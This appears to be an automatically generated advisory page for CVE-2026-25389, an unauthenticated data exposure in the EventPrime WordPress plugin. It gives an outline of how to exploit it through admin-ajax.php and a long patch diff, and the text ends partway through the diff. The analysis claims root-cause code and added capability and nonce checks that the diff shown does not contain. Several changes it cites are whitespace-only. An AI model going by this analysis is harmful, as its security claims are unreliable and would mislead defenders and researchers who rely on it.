Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25389: EventPrime <= 4.2.8.3 – Unauthenticated Information Exposure (eventprime-event-calendar-management)

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 4.2.8.3
Patched Version 4.2.8.4
Disclosed February 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25389:
The EventPrime WordPress plugin versions up to 4.2.8.3 contain an unauthenticated information exposure vulnerability. This flaw allows attackers to extract sensitive user and configuration data without authentication. The vulnerability affects the plugin’s AJAX endpoint handling, specifically through insufficient access controls on certain administrative functions.

Atomic Edge research identifies the root cause in the `ep_ajax_public` function within `/includes/class-ep-ajax.php`. The function processes AJAX requests via the `ep_ajax_public` action hook. The vulnerable code fails to validate user permissions before executing sensitive operations. The diff shows the patched version adds proper capability checks and nonce verification in multiple locations, but the original code allowed unauthenticated access to data retrieval functions.

The exploitation method involves sending a crafted POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `ep_ajax_public`. Attackers can specify various sub-actions through the `sub_action` parameter to retrieve different types of sensitive data. For example, setting `sub_action` to `get_event_data` or `get_booking_details` would expose event information or booking records. The attack requires no authentication or nonce tokens in vulnerable versions.

The patch addresses the vulnerability by implementing multiple security improvements. Key changes include adding `current_user_can` checks before sensitive operations, implementing nonce verification via `check_ajax_referer`, and sanitizing user input more rigorously. The diff shows added capability checks in functions like `ep_save_event_meta_boxes` and `ep_respect_requested_post_status`. The plugin also adds `wp_verify_nonce` validation for AJAX requests that modify data.

Successful exploitation exposes sensitive user information including attendee names, email addresses, booking details, and event configuration data. Attackers can enumerate all event registrations, extract personal identifiable information, and gather system configuration details. This data exposure violates privacy regulations and could facilitate further attacks such as phishing campaigns or account takeover attempts.

Differential between vulnerable and patched code

Code Diff
--- a/eventprime-event-calendar-management/admin/class-eventprime-event-calendar-management-admin.php
+++ b/eventprime-event-calendar-management/admin/class-eventprime-event-calendar-management-admin.php
@@ -1184,6 +1184,9 @@
             'normal',
             'low'
         );
+
+        do_action('ep_register_metabox_before_ticket_attendees');
+
         add_meta_box(
             'ep_tickets_attendies',
             esc_html__( 'Tickets Attendees', 'eventprime-event-calendar-management' ),
@@ -1532,11 +1535,11 @@
         <?php
     }

-    public function ep_save_event_meta_boxes( $post_id, $wp_post ) {
-        // $post_id and $post are required
-        //print_r($wp_post->post_type);die;
-        if ( $wp_post->post_type!=='em_event' ) {
-            return;
+    public function ep_save_event_meta_boxes( $post_id, $wp_post ) {
+        // $post_id and $post are required
+        //print_r($wp_post->post_type);die;
+        if ( $wp_post->post_type!=='em_event' ) {
+            return;
         }
         if ( isset( $this->processing ) && $this->processing == true ) {
             return;
@@ -1571,37 +1574,37 @@
         $sanitizer = new EventPrime_sanitizer();
         $dbhandler = new EP_DBhandler();
         $post      = $sanitizer->sanitize( $_POST );
-
-        // Proceed with updating post meta
-        $dbhandler->eventprime_update_event_post_meta( $post_id, $post, $wp_post );
-    }
-
-    public function ep_respect_requested_post_status( $data, $postarr ) {
-        if ( empty( $data['post_type'] ) || $data['post_type'] !== 'em_event' ) {
-            return $data;
-        }
-
-        if ( empty( $_POST['ep_requested_post_status'] ) || empty( $_POST['ep_event_meta_nonce'] ) ) {
-            return $data;
-        }
-
-        $nonce = sanitize_text_field( wp_unslash( $_POST['ep_event_meta_nonce'] ) );
-        if ( ! wp_verify_nonce( $nonce, 'ep_save_event_data' ) ) {
-            return $data;
-        }
-
-        $requested_status = sanitize_key( wp_unslash( $_POST['ep_requested_post_status'] ) );
-        if ( empty( $requested_status ) ) {
-            return $data;
-        }
-
-        $allowed_statuses = array( 'draft', 'publish', 'future', 'pending', 'private' );
-        if ( in_array( $requested_status, $allowed_statuses, true ) ) {
-            $data['post_status'] = $requested_status;
-        }
-
-        return $data;
-    }
+
+        // Proceed with updating post meta
+        $dbhandler->eventprime_update_event_post_meta( $post_id, $post, $wp_post );
+    }
+
+    public function ep_respect_requested_post_status( $data, $postarr ) {
+        if ( empty( $data['post_type'] ) || $data['post_type'] !== 'em_event' ) {
+            return $data;
+        }
+
+        if ( empty( $_POST['ep_requested_post_status'] ) || empty( $_POST['ep_event_meta_nonce'] ) ) {
+            return $data;
+        }
+
+        $nonce = sanitize_text_field( wp_unslash( $_POST['ep_event_meta_nonce'] ) );
+        if ( ! wp_verify_nonce( $nonce, 'ep_save_event_data' ) ) {
+            return $data;
+        }
+
+        $requested_status = sanitize_key( wp_unslash( $_POST['ep_requested_post_status'] ) );
+        if ( empty( $requested_status ) ) {
+            return $data;
+        }
+
+        $allowed_statuses = array( 'draft', 'publish', 'future', 'pending', 'private' );
+        if ( in_array( $requested_status, $allowed_statuses, true ) ) {
+            $data['post_status'] = $requested_status;
+        }
+
+        return $data;
+    }

     /**
      * Add columns to event list table
@@ -2769,7 +2772,8 @@
         if ( $column_name == 'ep_booking_id' ) {
             ?>
             <strong>
-            <?php echo '#' . absint( $post_id ); ?>
+            <?php echo '#' . absint( $post_id );
+                do_action( 'ep_booking_list_content_after_booking_id', $booking ); ?>
             </strong>
             <?php
         }
--- a/eventprime-event-calendar-management/admin/partials/metaboxes/meta-box-booking-attendees.php
+++ b/eventprime-event-calendar-management/admin/partials/metaboxes/meta-box-booking-attendees.php
@@ -15,7 +15,8 @@
     <?php if( ! empty( $booking->em_attendee_names ) && count( $booking->em_attendee_names ) > 0 ) {?>
         <div class="ep-border-bottom">
             <div class="ep-py-3 ep-ps-3 ep-fw-bold ep-text-uppercase ep-text-small">
-                <?php esc_html_e( 'Attendees', 'eventprime-event-calendar-management' );?>
+                <?php $attendee_heading = apply_filters( 'ep_attendee_details_heading', esc_html__( 'Attendees', 'eventprime-event-calendar-management' ),  $booking);
+                echo esc_html( $attendee_heading );?>
             </div>
         </div>
         <?php $booking_attendees_field_labels = array();
--- a/eventprime-event-calendar-management/admin/partials/metaboxes/meta-box-checkout-fields-panel-html.php
+++ b/eventprime-event-calendar-management/admin/partials/metaboxes/meta-box-checkout-fields-panel-html.php
@@ -669,6 +669,8 @@
                             }?>
                         </div>
                     </div>
+
+                    <?php do_action('ep_add_checkout_field_tab'); ?>
                 </div>
             </div>
         </div>
--- a/eventprime-event-calendar-management/admin/partials/reports/parts/bookings/booking-list.php
+++ b/eventprime-event-calendar-management/admin/partials/reports/parts/bookings/booking-list.php
@@ -45,6 +45,7 @@
                                         if( isset( $booking->is_rsvp_booking ) && $booking->is_rsvp_booking == 1 ) {?>
                                             <span class="ep_rsvp_booking_identifier" style="color: #50575e;"> - RSVP</span><?php
                                         }?>
+                                        <?php do_action( 'ep_reports_add_identifiers_in_booking_list', $booking ); ?>
                                     </a>
                                 </td>
                                 <td><?php echo esc_attr($event_title);?></td>
--- a/eventprime-event-calendar-management/admin/partials/reports/parts/bookings/load-more-booking-list.php
+++ b/eventprime-event-calendar-management/admin/partials/reports/parts/bookings/load-more-booking-list.php
@@ -22,6 +22,7 @@
                     if( isset( $booking->is_rsvp_booking ) && $booking->is_rsvp_booking == 1 ) {?>
                         <span class="ep_rsvp_booking_identifier" style="color: #50575e;"> - RSVP</span><?php
                     }?>
+                    <?php do_action( 'ep_reports_add_identifiers_in_booking_list', $booking ); ?>
                 </a>
             </td>
             <td><?php echo esc_html( $event_title );?></td>
--- a/eventprime-event-calendar-management/admin/partials/settings/settings-tab-emails.php
+++ b/eventprime-event-calendar-management/admin/partials/settings/settings-tab-emails.php
@@ -147,6 +147,9 @@
                         <div class="ep-help-tip-info ep-my-2 ep-text-muted"><?php esc_html_e( 'The email address from which the emails will be sent to the users. Make sure that your web server is allowed to send emails from this address.', 'eventprime-event-calendar-management' );?></div>
                     </td>
                 </tr>
+
+                <?php do_action('ep_settings_emails_tab_fields', $global_options); ?>
+
             </tbody>
         </table>
     </div>
--- a/eventprime-event-calendar-management/event-prime.php
+++ b/eventprime-event-calendar-management/event-prime.php
@@ -16,7 +16,7 @@
  * Plugin Name:       EventPrime – Modern Events Calendar, Bookings and Tickets
  * Plugin URI:        https://theeventprime.com
  * Description:       Beginner-friendly Events Calendar plugin to create free as well as paid Events. Includes Event Types, Event Sites & Performers too.
- * Version:           4.2.8.3
+ * Version:           4.2.8.4
  * Author:            EventPrime Event Calendar
  * Author URI:        https://theeventprime.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'EVENTPRIME_VERSION', '4.2.8.3' );
+define( 'EVENTPRIME_VERSION', '4.2.8.4' );
 define('EM_DB_VERSION',4.0);
 if( ! defined( 'EP_PLUGIN_FILE' ) ) {
     define( 'EP_PLUGIN_FILE', __FILE__ );
--- a/eventprime-event-calendar-management/includes/class-ep-ajax.php
+++ b/eventprime-event-calendar-management/includes/class-ep-ajax.php
@@ -593,9 +593,9 @@
         $booking_status = get_post_meta( $booking_id, 'em_status', true );
         $booking_user = absint( get_post_meta( $booking_id, 'em_user', true ) );

-        if ( ! empty( $booking_user ) && get_current_user_id() !== $booking_user ) {
-            wp_send_json_error( array( 'error' => esc_html__( 'You are not allowed to confirm this booking.', 'eventprime-event-calendar-management' ) ) );
-        }
+        if ( ! empty( $booking_user ) && get_current_user_id() !== $booking_user ) {
+            wp_send_json_error( array( 'error' => esc_html__( 'You are not allowed to confirm this booking.', 'eventprime-event-calendar-management' ) ) );
+        }

         if ( empty( $order_info['booking_total'] ) ) {
             wp_send_json_error( array( 'error' => esc_html__( 'Payment amount mismatch.', 'eventprime-event-calendar-management' ) ) );
@@ -605,18 +605,18 @@
             wp_send_json_error( array( 'error' => esc_html__( 'Booking already completed.', 'eventprime-event-calendar-management' ) ) );
         }

-        $verify = $this->verify_paypal_order( $paypal_order_id, $order_info['booking_total'], $ep_functions->ep_get_global_settings( 'currency' ), $booking_id );
-        if ( is_wp_error( $verify ) ) {
-            wp_send_json_error( array( 'error' => $verify->get_error_message() ) );
-        }
-
-        $payment_status = strtolower( $verify['status'] );
-        $payment_amount = $verify['amount'];
-
-        $data['payment_gateway'] = 'paypal';
-        $data['payment_status']  = $payment_status;
-        $data['total_amount']    = $payment_amount;
-        $data['currency']        = $verify['currency'];
+        $verify = $this->verify_paypal_order( $paypal_order_id, $order_info['booking_total'], $ep_functions->ep_get_global_settings( 'currency' ), $booking_id );
+        if ( is_wp_error( $verify ) ) {
+            wp_send_json_error( array( 'error' => $verify->get_error_message() ) );
+        }
+
+        $payment_status = strtolower( $verify['status'] );
+        $payment_amount = $verify['amount'];
+
+        $data['payment_gateway'] = 'paypal';
+        $data['payment_status']  = $payment_status;
+        $data['total_amount']    = $payment_amount;
+        $data['currency']        = $verify['currency'];

         $booking_controller = new EventPrime_Bookings;
         $booking_controller->confirm_booking( $booking_id, $data );
@@ -930,7 +930,7 @@
             $em_start_date = isset( $data['em_start_date'] ) ? $ep_functions->ep_date_to_timestamp( sanitize_text_field( $data['em_start_date'] ) ) : '';
             update_post_meta($post_id, 'em_start_date', $em_start_date);

-            $em_start_time = isset( $data['em_start_time'] ) ? sanitize_text_field( $data['em_start_time'] ) : '';
+            $em_start_time = ( isset( $data['em_start_time'] ) && ! empty( $data['em_start_time'] ) ) ? sanitize_text_field( $data['em_start_time'] ) : '12:00 AM';
             update_post_meta($post_id, 'em_start_time', $em_start_time);

             $em_hide_event_start_time = isset( $data['em_hide_event_start_time'] ) && !empty($data['em_hide_event_start_time'] ) ? 1 : 0;
@@ -942,7 +942,7 @@
             $em_end_date = isset( $data['em_end_date'] ) ? $ep_functions->ep_date_to_timestamp( sanitize_text_field( $data['em_end_date'] ) ) : $em_start_date;
             update_post_meta($post_id, 'em_end_date', $em_end_date);

-            $em_end_time = isset( $data['em_end_time'] ) ? sanitize_text_field( $data['em_end_time'] ) : '';
+            $em_end_time = ( isset( $data['em_end_time'] ) && ! empty( $data['em_end_time'] ) ) ? sanitize_text_field( $data['em_end_time'] ) : '11:59 PM';
             update_post_meta($post_id, 'em_end_time', $em_end_time);

             $em_hide_event_end_time = isset( $data['em_hide_event_end_time'] ) && !empty($data['em_hide_event_end_time']) ? 1 : 0;
@@ -1038,9 +1038,9 @@
                         if( empty( $type_term ) ) {
                             $type_data->em_color = isset($data['new_event_type_background_color']) ? sanitize_text_field($data['new_event_type_background_color']) : '#FF5599';
                             $type_data->em_type_text_color = isset($data['new_event_type_text_color']) ? sanitize_text_field($data['new_event_type_text_color']) : '#43CDFF';
-                            $type_data->em_age_group = isset($data['ep_new_event_type_age_group']) ? sanitize_text_field($data['ep_new_event_type_age_group']) : 'all';
-                            $type_data->custom_age = isset($data['ep-new_event_type_custom_group']) ? sanitize_text_field($data['ep-new_event_type_custom_group']) : '';
-                            $type_data->description = isset($data['new_event_type_description']) ? $data['new_event_type_description'] : '';
+                            $type_data->em_age_group = isset($data['new_event_type_age_group']) ? sanitize_text_field($data['new_event_type_age_group']) : 'all';
+                            $type_data->em_custom_group = isset($data['new_event_type_custom_group']) ? sanitize_text_field($data['new_event_type_custom_group']) : '';
+                            $type_data->description = isset($data['new_event_type_description']) ? wp_kses_post($data['new_event_type_description']) : '';
                             $type_data->em_image_id = isset($data['event_type_image_id']) ? $data['event_type_image_id'] : '';
                             $em_event_type_id = $ep_functions->create_event_types((array)$type_data);
                         } else{
@@ -1080,9 +1080,10 @@
                             $venue_data->em_established = isset($data['em_established']) ? sanitize_text_field($data['em_established']) : '';
                             $venue_data->standing_capacity = isset($data['standing_capacity']) ? sanitize_text_field($data['standing_capacity']) : '';
                             $venue_data->em_seating_organizer = isset($data['em_seating_organizer']) ? sanitize_text_field($data['em_seating_organizer']) : '';
-                            $venue_data->em_facebook_page = isset($data['em_facebook_page']) ? sanitize_text_field($data['em_facebook_page']) : '';
-                            $venue_data->em_instagram_page = isset($data['em_instagram_page']) ? sanitize_text_field($data['em_instagram_page']) : '';
+                            $venue_data->em_facebook_page = isset($data['em_facebook_page']) ? esc_url_raw($data['em_facebook_page']) : '';
+                            $venue_data->em_instagram_page = isset($data['em_instagram_page']) ? esc_url_raw($data['em_instagram_page']) : '';
                             $venue_data->em_image_id = isset($data['venue_attachment_id']) ? sanitize_text_field($data['venue_attachment_id']) : '';
+                            $venue_data->description = isset($data['new_venue_description']) ? wp_kses_post($data['new_venue_description']) : '';
                             $em_venue_id = $ep_functions->create_venue((array)$venue_data);
                         } else{
                             $em_venue_id = $location_term->term_id;
@@ -1100,7 +1101,7 @@
                 update_post_meta( $post_id, 'em_organizer', $org );
             }
             if( isset( $data['new_organizer'] ) && $data['new_organizer'] == 1 ) {
-                $organizer_name = isset( $data['new_organizer_name'] ) ? $data['new_organizer_name'] : '';
+                $organizer_name = isset( $data['new_organizer_name'] ) ? sanitize_text_field($data['new_organizer_name']) : '';
                 if( ! empty( $organizer_name ) ) {
                     $organizer = get_term_by( 'name', $organizer_name, 'em_event_organizer' );
                     if( ! empty( $organizer ) ) {
@@ -1110,17 +1111,17 @@
                         $org_data->name = $organizer_name;

                         if( isset( $data['em_organizer_phones'] ) && ! empty( $data['em_organizer_phones'] ) ) {
-                            $org_data->em_organizer_phones = $data['em_organizer_phones'];
+                            $org_data->em_organizer_phones = array_map( 'sanitize_text_field', (array) $data['em_organizer_phones'] );
                         }
                         if( isset( $data['em_organizer_emails'] ) && ! empty( $data['em_organizer_emails'] ) ) {
-                            $org_data->em_organizer_emails = $data['em_organizer_emails'];
+                            $org_data->em_organizer_emails = array_map( 'sanitize_email', (array) $data['em_organizer_emails'] );
                         }
                         if( isset( $data['em_organizer_websites'] ) && ! empty( $data['em_organizer_websites'] ) ) {
-                            $org_data->em_organizer_websites = $data['em_organizer_websites'];
+                            $org_data->em_organizer_websites = array_map( 'esc_url_raw', (array) $data['em_organizer_websites'] );
                         }
-                        $org_data->description = isset( $data['new_event_organizer_description'] ) ? $data['new_event_organizer_description'] : '';
+                        $org_data->description = isset( $data['new_event_organizer_description'] ) ? wp_kses_post($data['new_event_organizer_description']) : '';
                         $org_data->em_image_id = isset( $data['org_attachment_id'] ) ? $data['org_attachment_id'] : '';
-                        $org_data->em_social_links = isset( $data['em_per_social_links'] ) ? $data['em_per_social_links'] : '';
+                        $org_data->em_social_links = isset( $data['em_social_links'] ) ? array_map( 'esc_url_raw', (array) $data['em_social_links'] ) : '';
                         $org[] = $ep_functions->create_organizer( (array)$org_data );
                     }
                 }
@@ -1129,7 +1130,7 @@
             if( ! empty( $org ) ) {
                 foreach( $org as $organizer ) {
                     if( ! empty( $organizer ) ) {
-                        wp_set_object_terms( $post_id, intval( $organizer ), 'em_organizer' );
+                        wp_set_object_terms( $post_id, intval( $organizer ), 'em_event_organizer' );
                     }
                 }
             }
@@ -1140,25 +1141,26 @@
                 update_post_meta( $post_id, 'em_performer', $performers );
             }
             if( isset( $data['new_performer'] ) && $data['new_performer'] == 1 ) {
-                $performer_name = isset( $data['new_performer_name'] ) ? $data['new_performer_name'] : '';
+                $performer_name = isset( $data['new_performer_name'] ) ? sanitize_text_field($data['new_performer_name']) : '';
                 if( ! empty( $performer_name ) ) {
                     $performer_data = new stdClass();
                     $performer_data->name = $performer_name;
                     $performer_data->em_type = isset( $data['new_performer_type'] ) ? sanitize_text_field( $data['new_performer_type'] ) : 'person';
                     $performer_data->em_role = isset( $data['new_performer_role'] ) ? sanitize_text_field( $data['new_performer_role'] ) : '';
+                    $performer_data->em_display_front = 1;

                     if(isset($data['em_performer_phones']) && !empty($data['em_performer_phones'])){
-                        $performer_data->em_performer_phones = $data['em_performer_phones'];
+                        $performer_data->em_performer_phones = array_map( 'sanitize_text_field', (array) $data['em_performer_phones'] );
                     }
                     if(isset($data['em_performer_emails']) && !empty($data['em_performer_emails'])){
-                        $performer_data->em_performer_emails = $data['em_performer_emails'];
+                        $performer_data->em_performer_emails = array_map( 'sanitize_email', (array) $data['em_performer_emails'] );
                     }
                     if(isset($data['em_performer_websites']) && !empty($data['em_performer_websites'])){
-                        $performer_data->em_performer_websites = $data['em_performer_websites'];
+                        $performer_data->em_performer_websites = array_map( 'esc_url_raw', (array) $data['em_performer_websites'] );
                     }
-                    $performer_data->description = isset($data['qt_new_performer_description']) ? $data['qt_new_performer_description'] : '';
+                    $performer_data->description = isset($data['new_performer_description']) ? wp_kses_post($data['new_performer_description']) : '';
                     $performer_data->thumbnail = isset($data['performer_attachment_id']) ? $data['performer_attachment_id'] : '';
-                    $performer_data->em_social_links = isset($data['em_social_links']) ? $data['em_social_links'] : '';
+                    $performer_data->em_social_links = isset($data['em_social_links']) ? array_map( 'esc_url_raw', (array) $data['em_social_links'] ) : '';
                     $performers[] = $ep_functions->insert_performer_post_data((array)$performer_data);
                 }
                 update_post_meta( $post_id, 'em_performer', $performers );
@@ -3791,3 +3793,4 @@


 }
+
--- a/eventprime-event-calendar-management/includes/class-eventprime-functions.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-functions.php
@@ -3734,6 +3734,7 @@
             $event->em_event_checkout_booking_fields = $this->get_event_checkout_booking_fields($event);
             $event->event_in_user_wishlist = $this->check_event_in_user_wishlist($event->id);
         }
+        $event = apply_filters( 'ep_get_event_custom_checkout_fields', $event );
         return $event;
     }

@@ -4048,13 +4049,13 @@

     // list all extension
     public function ep_list_all_exts() {
-        $exts = array('Live Seating', 'Events Import Export', 'Stripe Payments', 'Offline Payments', 'WooCommerce Integration', 'Event Sponsors', 'Attendees List', 'EventPrime Invoices', 'Coupon Codes', 'Guest Bookings', 'EventPrime Zoom Integration', 'Event List Widgets', 'Admin Attendee Bookings', 'EventPrime MailPoet', 'Twilio Text Notifications', 'Event Tickets', 'Zapier Integration', 'Advanced Reports', 'Advanced Checkout Fields', 'Elementor Integration', 'Mailchimp Integration', 'User Feedback', 'RSVP', 'WooCommerce Checkout', 'Ratings and Reviews','Attendee Event Check In','Waiting List','HoneyPot Security','Turnstile Antispam Security','Event Reminder Emails','Demo Data','Square Payments','hCaptcha Security','Advanced Seat Plan Builder','Group Booking','Advanced Social Sharing','Event Countdown Timer','Join Chat Integration');
+        $exts = array('Live Seating', 'Events Import Export', 'Stripe Payments', 'Offline Payments', 'WooCommerce Integration', 'Event Sponsors', 'Attendees List', 'EventPrime Invoices', 'Coupon Codes', 'Guest Bookings', 'EventPrime Zoom Integration', 'Event List Widgets', 'Admin Attendee Bookings', 'EventPrime MailPoet', 'Twilio Text Notifications', 'Event Tickets', 'Zapier Integration', 'Advanced Reports', 'Advanced Checkout Fields', 'Elementor Integration', 'Mailchimp Integration', 'User Feedback', 'RSVP', 'WooCommerce Checkout', 'Ratings and Reviews','Attendee Event Check In','Waiting List','HoneyPot Security','Turnstile Antispam Security','Event Reminder Emails','Demo Data','Square Payments','hCaptcha Security','Advanced Seat Plan Builder','Group Booking','Advanced Social Sharing','Event Countdown Timer','Join Chat Integration','Event Map View','Multi-Session Events');
         return $exts;
     }

     // get premium extension list
     public function ep_load_premium_extension_list() {
-        $premium_ext_list = array('Live Seating', 'Stripe Payments', 'Offline Payments', 'Event Sponsors', 'Attendees List', 'EventPrime Invoices', 'Coupon Codes', 'Guest Bookings', 'EventPrime Zoom Integration', 'Event List Widgets', 'Admin Attendee Bookings', 'EventPrime MailPoet', 'Twilio Text Notifications', 'Event Tickets', 'Advanced Reports', 'Advanced Checkout Fields', 'Mailchimp Integration', 'User Feedback', 'RSVP', 'WooCommerce Checkout', 'Ratings and Reviews','Attendee Event Check In','Waiting List','Turnstile Antispam Security','Event Reminder Emails','Square Payments','hCaptcha Security','Advanced Seat Plan Builder','Group Booking','Advanced Social Sharing','Event Countdown Timer','Join Chat Integration');
+        $premium_ext_list = array('Live Seating', 'Stripe Payments', 'Offline Payments', 'Event Sponsors', 'Attendees List', 'EventPrime Invoices', 'Coupon Codes', 'Guest Bookings', 'EventPrime Zoom Integration', 'Event List Widgets', 'Admin Attendee Bookings', 'EventPrime MailPoet', 'Twilio Text Notifications', 'Event Tickets', 'Advanced Reports', 'Advanced Checkout Fields', 'Mailchimp Integration', 'User Feedback', 'RSVP', 'WooCommerce Checkout', 'Ratings and Reviews','Attendee Event Check In','Waiting List','Turnstile Antispam Security','Event Reminder Emails','Square Payments','hCaptcha Security','Advanced Seat Plan Builder','Group Booking','Advanced Social Sharing','Event Countdown Timer','Join Chat Integration','Event Map View','Multi-Session Events');
         return $premium_ext_list;
     }

@@ -5651,6 +5652,52 @@
                 $data['desc'] = "Integrate Whatsapp chat functionality into your EventPrime events.";
                 break;

+            case 'Event Map View':
+                $data['url'] = 'https://theeventprime.com/all-extensions/event-map-view/';
+                $data['title'] = 'Event Map View';
+                if (in_array('eventprime-event-map-view.php', $installed_plugin_file)) {
+                    $data['button'] = 'Activate';
+                    $data['class_name'] = 'ep-activate-now-btn';
+                    $file_key = array_search('eventprime-event-map-view.php', $installed_plugin_file);
+                    if (!empty($file_key)) {
+                        $data['is_installed'] = 1;
+                    }
+                    $data['url'] = $this->em_get_extension_activation_url($installed_plugin_url[$file_key]);
+                }
+                $data['is_activate'] = class_exists("Eventprime_Event_Map_View");
+                if ($data['is_activate']) {
+                    $data['button'] = 'Setting';
+                    $data['class_name'] = 'ep-option-now-btn';
+                    $data['url'] = admin_url('edit.php?post_type=em_event&page=ep-settings&tab=map_view');
+                }
+                $data['is_free'] = !$this->ep_check_for_premium_extension('Event Map View');
+                $data['image'] = 'event-map-view-icon.png';
+                $data['desc'] = "An interactive map view of upcoming and past events with filter controls, off-canvas detail panel, and clustering.";
+                break;
+
+            case 'Multi-Session Events':
+                $data['url'] = 'https://theeventprime.com/all-extensions/multi-session-events/';
+                $data['title'] = 'Multi-Session Events';
+                if (in_array('eventprime-multi-session-events.php', $installed_plugin_file)) {
+                    $data['button'] = 'Activate';
+                    $data['class_name'] = 'ep-activate-now-btn';
+                    $file_key = array_search('eventprime-multi-session-events.php', $installed_plugin_file);
+                    if (!empty($file_key)) {
+                        $data['is_installed'] = 1;
+                    }
+                    $data['url'] = $this->em_get_extension_activation_url($installed_plugin_url[$file_key]);
+                }
+                $data['is_activate'] = class_exists("Eventprime_Multi_Session_Events");
+                if ($data['is_activate']) {
+                    $data['button'] = 'Setting';
+                    $data['class_name'] = 'ep-option-now-btn';
+                    $data['url'] = admin_url('edit.php?post_type=em_event&page=ep-settings&tab=multisession_event');
+                }
+                $data['is_free'] = !$this->ep_check_for_premium_extension('Multi-Session Events');
+                $data['image'] = 'multi-session-events-icon.png';
+                $data['desc'] = "Add multiple sessions to a single event with customizable time slots, venues, and performers. Perfect for workshops, conferences, and summits with structured agendas.";
+                break;
+
             case 'Demo Data':
                 $data['url'] = 'https://theeventprime.com/all-extensions/demo-data/';
                 $data['title'] = 'Demo Data';
@@ -7180,7 +7227,12 @@

             // Title
             $popup_html .= '<a href="' . esc_url( $ev['event_url'] ) . '" class="ep-event-modal-head" ' . esc_attr( $new_window ) . '>';
-            $popup_html .= '<div class="ep_event_popup_title ep-text-break">' . esc_html( $ev['title'] ) . '</div>';
+            $popup_html .= '<div class="ep_event_popup_title ep-text-break">' . esc_html( $ev['title'] );
+
+            // Use a filter to allow returning HTML (replaces previous do_action + output buffering)
+            $html_after_title = '';
+            $popup_html .= apply_filters( 'ep_after_event_popup_title', $html_after_title, $ev, $event );
+            $popup_html .= '</div>';
             $popup_html .= '</a>';

             // Venue and address
@@ -9323,10 +9375,11 @@
         $term_id = 0;
         if(!empty($data)){
             $location_name = isset($data['name']) ? sanitize_text_field($data['name']) : '';
+            $description = isset($data['description']) ? $data['description'] : '';
             $venue = wp_insert_term(
                 $location_name,
                 'em_venue',
-                array()
+                array('description' => $description)
             );
             $term_id = isset($venue['term_id']) ? $venue['term_id'] : 0;

@@ -9390,12 +9443,19 @@
             $em_image_id = isset($data['em_image_id']) ? $data['em_image_id']: '';
             $em_is_featured = isset($data['em_is_featured']) ? sanitize_text_field($data['em_is_featured']): 0;
             $em_age_group = isset($data['em_age_group']) ? $data['em_age_group'] : 'all';
+            $custom_group = '';
+            if ( $em_age_group == 'custom_group' ) {
+                $custom_group = isset( $data['em_custom_group'] ) ? sanitize_text_field( $data['em_custom_group'] ) : '';
+            }

-            update_term_meta( $term_id, 'em_color', $em_color );
+        update_term_meta( $term_id, 'em_color', $em_color );
 	    update_term_meta( $term_id, 'em_type_text_color', $em_type_text_color );
 	    update_term_meta( $term_id, 'em_image_id', $em_image_id );
 	    update_term_meta( $term_id, 'em_is_featured', $em_is_featured );
-            update_term_meta( $term_id, 'age_group', $em_age_group);
+        update_term_meta( $term_id, 'em_age_group', $em_age_group);
+        if ( !empty( $custom_group ) ) {
+            update_term_meta( $term_id, 'em_custom_group', $custom_group );
+        }
             if ( isset($data['em_status']) && !empty($data['em_status'])) {
                 update_term_meta( $term_id, 'em_status', 1 );
             }
@@ -12516,6 +12576,7 @@
                 'no_ticket_found_error'   => esc_html__( 'Booking will be turn off if no ticket found. Are you sure you want to continue?', 'eventprime-event-calendar-management' ),
                 'max_capacity_error'      => esc_html__( 'Max allowed capacity is', 'eventprime-event-calendar-management' ),
                 'max_less_then_min_error' => esc_html__( 'Maximum tickets number can't be less then minimum tickets number.', 'eventprime-event-calendar-management' ),
+                'min_ticket_no_zero_error'=> esc_html__( 'The minimum ticket quantity per order must be greater than zero.', 'eventprime-event-calendar-management' ),
                 'required_text'		      => esc_html__( 'Required', 'eventprime-event-calendar-management' ),
                 'one_checkout_field_req'  => esc_html__( 'Please select atleast one attendee field.', 'eventprime-event-calendar-management' ),
                 'no_name_field_option'    => esc_html__( 'Please select name field option.', 'eventprime-event-calendar-management' ),
@@ -12541,6 +12602,8 @@
                 'event_performer_name_error' => esc_html__( 'Event Perfomer name can not be empty.', 'eventprime-event-calendar-management' ),
                 'event_organizer_error'   => esc_html__( 'Please Select Event Organizers.', 'eventprime-event-calendar-management' ),
                 'event_organizer_name_error' => esc_html__( 'Event Organizer name can not be empty.', 'eventprime-event-calendar-management' ),
+                'venue_address_required'  => esc_html__( 'Venue address is required.', 'eventprime-event-calendar-management' ),
+                'venue_seating_required'  => esc_html__( 'Seating type is required.', 'eventprime-event-calendar-management' ),
                 'fes_nonce'               => wp_create_nonce( 'ep-frontend-event-submission-nonce' ),
                 'choose_image_label'      => esc_html__( 'Choose Image', 'eventprime-event-calendar-management' ),
                 'use_image_label'         => esc_html__( 'Use Image', 'eventprime-event-calendar-management' ),
--- a/eventprime-event-calendar-management/includes/class-eventprime-license.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-license.php
@@ -448,6 +448,8 @@
             'Eventprime_Advanced_Social_Sharing'=>array(43102,'Advanced Social Sharing','paid'),
             'Eventprime_Event_Countdown'=>array(35177,'Event Countdown Timer','paid'),
             'Eventprime_Join_Chat_Integration'=>array(43114,'Join Chat Integration','paid'),
+            'Eventprime_Multi_Session_Events'=>array(43219,'Multi-Session Events','paid'),
+            'Eventprime_Event_Map_View'=>array(43222,'Event Map View','paid'),

         );
         return $extensions;
@@ -1109,6 +1111,22 @@
         'admin_url' => 'edit.php?post_type=em_event&page=ep-settings&tab=join-chat-integration-settings',
         'image' => 'join-chat-icon.png',
         'desc' => "Integrate Whatsapp chat functionality into your EventPrime events."
+    ],
+
+    'Eventprime_Event_Map_View' => [
+        'url' => 'https://theeventprime.com/all-extensions/event-map-view/',
+        'slug' => 'eventprime-event-map-view',
+        'admin_url' => 'edit.php?post_type=em_event&page=ep-settings&tab=map_view',
+        'image' => 'event-map-view-icon.png',
+        'desc' => "An interactive map view of upcoming and past events with filter controls, off-canvas detail panel, and clustering."
+    ],
+
+    'Eventprime_Multi_Session_Events' => [
+        'url' => 'https://theeventprime.com/all-extensions/multi-session-events/',
+        'slug' => 'eventprime-multi-session-events',
+        'admin_url' => 'edit.php?post_type=em_event&page=ep-settings&tab=multisession_event',
+        'image' => 'multi-session-events-icon.png',
